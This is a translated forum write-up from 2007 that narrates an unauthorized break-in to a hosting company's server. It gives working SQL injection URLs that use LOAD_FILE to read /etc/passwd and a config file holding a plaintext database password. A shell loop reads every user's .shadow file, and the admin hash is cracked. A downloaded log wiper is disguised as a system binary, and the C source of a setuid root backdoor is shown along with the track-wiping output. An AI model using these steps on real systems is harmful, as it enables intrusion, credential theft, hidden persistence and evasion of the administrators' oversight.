From sql-injection to root by p-range Name : From sql-injection to root Author : p-range - AltST Date : 5.03.2007 Translation : NeMiNeM In this article I'm going to tell you about how I got root on one foreign hosting-server. [A Small Prehistory] As usual, in the evening, I was surfing on the Internet and came across an interesting web-site. It was a web-site of one foreign hosting service. Let's call it dhoster.com. I've noticed that the engine was original and rather difficult. There were plenty of functions and scripts. And as always, as a matter of habit, I began to put different wrong values in script variable trying to get an error. [First Catch] The time has passed, I didn't find anything and decided to dig deeper. I started to look page sources. I've noticed such JavaScript Code in the main page source: Code: <script language='JavaScript' type='text/javascript'> function openWin(pid) { myWin = open("inc/photo.php?pid="+pid, "displayWindow", "width=40,height=30,status=no,toolbar=no,menubar=no "); } </script> I've paid attention to the string: "inc/photo.php?pid="+pid and hurried to move to url: dhoster.com/inc/photo.php?pid=' As I thought, the script gave MySQL error: Code: Fatal error: Call to undefined function: mysql_error() in /home/dhoster/public_html/inc/photo.php on line 29 Then I tried to find a correct database query. In the result I got such a string: http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,3,4,5/* Unfortunately, an attempt to find a table name failed. An idea to look through mysql.user table failed as well. Finally I decided to try to read /etc/passwd file through the function LOAD_FILE(). To my surprise, it worked out, and I saw users' logins on the page. As I've learned the full path to the web-site directory, I decided to find engine config file. I was lucky to find it at once. In the result I clicked such url: http://dhoster.com/inc/photo.php?pid=-1+union+select+1,2,LOAD_FILE('/home/dhoster/public_html/inc/config.php'),4,5/* and saw config.php file: PHP: <?php $dbhost = 'localhost'; $dbuser = 'dhoster'; $dbpass = 'gfGFd.uhL'; $dbname = 'engine'; ?> [Looking around the server] I hurried to log in SSH using this username and password. Strangely enough the password was correct I began to examine the system. Server was working under Linux. The core was rather new so I couldn't raise my rights using exploits. I began to thing what to do next. I looked through the directory contents of user dhoster, but I didn't find anything interesting, I mean at first I didn't. I paid attention to .shadow file, which was in the root of user's directory. Having executed cat .shadow command, I saw my user's ssh password hash. I supposed that such files were in the root directory of every user and decided to try to read them. But first I tried to find server's history files. In order to do this I executed such command: find / -type f -name *_history -ls Having looked through the results, I didn't find anything interesting, which would help me to raise my right. /home directory, where there were all web-sites of this hosting, was closed for reading. And suddenly a tremendous idea flashed across my mind. I remembered about an interesting feature, which helped to bypass the ban to read files from /home directory. [Privileges raising] for i in ls `cat /etc/passwd|awk -F ":" '{print $6}'`; do cat $i/.shadow; done|more Its aim is to read /etc/passwd file using cat utility, then with a help of awk to choose logins in cycle from it and to substitute as user/.shadow, then read it and display in paginal regime (done|more). Certainly, hackers can read not only .shadow but also .htaccess, index.php and finally includes/config.php and other files with somekind standard names. Then, as a result of files scanning by key-words, accounts go into strange hands. The only thing left to do is to find an appropriate application for script uploading. For example, if it's CMS, whose php-templates can be modified through WEB-interface and the executable scripts are allowed to upload something on the server, it's just a matter of technique to do the rest. I think the idea is clear. Having executed this command, I've got access to all .shadow files in /home directory. And there was /home/admin/.shadow file among them. I was lucky because I had rights to read those files. Having got admin's hash, I inserted it into JohnTheRipper. The password wasn't complicated. Having got it I logged in as admin. [Logwiper installation] Certainly, I needed to make sure that admin wouldn't determine who had been in his system. I decided to install logwiper "wipe". To my mind it's rather good as it can clean UTMP, WTMP, lastlogs and ACCT files. I downloaded archive with wipe (http://packetstormsecurity.org/UNIX/penetration/log-wipers/wipe-1.00.tgz) and unpacked it into /home/admin/l/ directory. Then I ran an installation command: make linux. Having got wipe binary file, I copied it to /usr/bin/telnef. In order to not arouse suspicion, I deleted l/ folder. Logwiper was ready to use! [Consolidating in the system] Then I had a task to consolidate myself in the system. I didn't start to use public rootkits because the administrator would notice it during a first chrootkit check. I wrote a simple backdoor. Source code at.c Code: main() { setuid(0); setgid(0); system("/usr/bin/telnef l admin"); system("/usr/bin/telnef w admin"); system("/usr/bin/telnef u admin"); system("/usr/bin/telnef a admin"); system("/bin/bash"); } Having compiled it, I moved at binary file into usr/bin/at and put suid on it. Then I could get root privileges in the system from any user after /usr/bin/at executing What does it do? I think it's clear. The binary file gets root rights, then runs logwiper, which I've already installed and backdoors the system. [Wiping out tracks] The only thing to do is to wipe out my tracks of being in the system: [admin@server admin]# /usr/bin/telnef l admin Patching... Done. [admin@server admin]# /usr/bin/telnef w admin Patching... Done. [admin@server admin]# /usr/bin/telnef u admin Patching... Done. [admin@server admin]# /usr/bin/telnef a admin Patching... Done. [Conclusion] If your hosting administrators think that from other client's directory, where permission is "r-x--x--x", there is no possibility to read files, they are mistaken. If they think that the ban to read e.g. "/home" directory won't let you know the list of home folders, they don't know elementary things. That's all for today. PS: And what an innocent start it was... ____________________________ Original article: (с) p-range :: AltSTPS: http://forum.antichat.ru/thread34739.html Translation: NeMiNeM for antichat.ru Please, feel free to show and correct my mistakes in the translation. No flame please. Thank you.
